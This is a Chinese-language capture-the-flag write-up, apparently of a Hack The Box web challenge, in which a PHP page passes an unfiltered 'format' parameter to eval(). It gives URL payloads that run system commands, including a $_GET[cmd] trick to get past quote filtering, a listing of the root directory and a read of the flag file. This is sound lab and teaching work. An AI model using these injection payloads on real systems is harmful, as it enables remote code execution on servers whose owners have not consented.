题目描述
(有附件)
观察
打开网页:
当点击了下面那个按钮之后网页的url会增加一个参数:
1 | /?format=r |
因为给的附件比较多,所以直接挨个搜索“format”,可以确定下来2份相关代码:
1 | <?php |
这里会直接接收(没有过滤)我们传入的 format 的值,然后调用 TimeModel 处理这个值。
1 | <?php |
注意,PHP 的 eval() 函数会把传入的字符串当作 PHP 代码来执行。所以这道题可以通过注入php代码(不能包含 %},{% kbd ' %},{% kbd %},{% kbd NULL %})来获取flag。
首先尝试
1 | /?format=${system(ls)} |
发现会显示当前目录下的文件,但是这里没有flag。所以需要浏览其他目录(比如说根目录)下的文件。
而访问跟目录的话则需要将代码改成这样
1 | /?format=${system("ls /")} |
但正如之前阅读代码发现的,引号等内容会被过滤掉。所以需要考虑更复杂的注入。
渗透
我们可以利用PHP的变量引用机制。我们通过这样
1 | /?format=${system($_GET[cmd])}&cmd=ls / |
先将cmd的值定义成”ls /“ 然后再传进前面的内容,这样一来就不需要直接使用引号了,意味着可以成功绕过输入过滤检测:
最后直接读取flag即可:
1 | /?format=${system($_GET[cmd])}&cmd=cat%20/flagrPWYp |
拿到flag:{% psw HTB{wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng} 。